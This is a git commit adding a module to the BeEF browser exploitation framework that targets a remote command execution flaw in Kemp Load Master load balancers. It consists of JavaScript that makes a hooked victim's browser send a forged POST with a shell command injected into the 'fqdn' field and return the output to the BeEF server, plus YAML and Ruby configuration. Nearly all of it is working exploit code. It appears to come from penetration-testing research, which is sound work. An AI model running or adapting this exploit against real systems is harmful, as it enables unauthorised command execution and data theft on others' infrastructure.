Kemp Load Master RCE - BeEF module

This is a new module for BeEF to exploit a RCE vulnerability in Kemp
Load Master load balancer. More information on this blog post:
http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
This commit is contained in:
Roberto Suggi Liverani
2015-04-01 22:14:35 +02:00
parent 05e31fd250
commit 4c7aa8f677
3 changed files with 74 additions and 0 deletions

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//
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
var path = '/progs/geoctrl/doadd';
var cmd = "<%= @cmd %>";
if (rhost.substring(0,5) == "https") {
rhost = rhost.replace("https://","")
protocol = "https"
}
else {
rhost = rhost.replace("http://","")
protocol = "http"
}
beef.net.forge_request(protocol, "POST", rhost, rport, path, null, null, { fqdn: "' <%= @cmd %>'" }, 10, 'html', false, null, function(response) {
resp = response.headers+response.response_body;
start = resp.indexOf("Content-Type: text/html");
end = resp.indexOf("Cache-Control: no-cache");
final = resp.slice(start+23,end)
beef.net.send("<%= @command_url %>", <%= @command_id %>, final)
});
});

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#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
kemp_command_execution:
enable: true
category: "Exploits"
name: "Kemp LoadBalancer Command Execution"
description: "This module exploits a remote code execution vulnerability in Kemp LoadBalancer 7.1-16.<br/>More information can be found here: <a href='http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html'>http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html</a><br/>"
authors: ["Roberto Suggi Liverani", "@malerisch", "CVE-2014-5287","CVE-2014-5288"]
target:
working: ["ALL"]

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#
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Kemp_command_execution < BeEF::Core::Command
def self.options
return [
{'name'=>'rhost', 'ui_label' => 'URL', 'value' => 'https://x.x.x.x'},
{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '443'},
{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
{'name'=>'cmd', 'ui_label' => 'Command', 'description' => 'Enter shell command to execute.', 'type'=>'textarea', 'value'=>"ls", 'width'=>'200px' },
]
end
def post_execute
save({'result' => @datastore['result']}) if not @datastore['result'].nil?
save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
end
end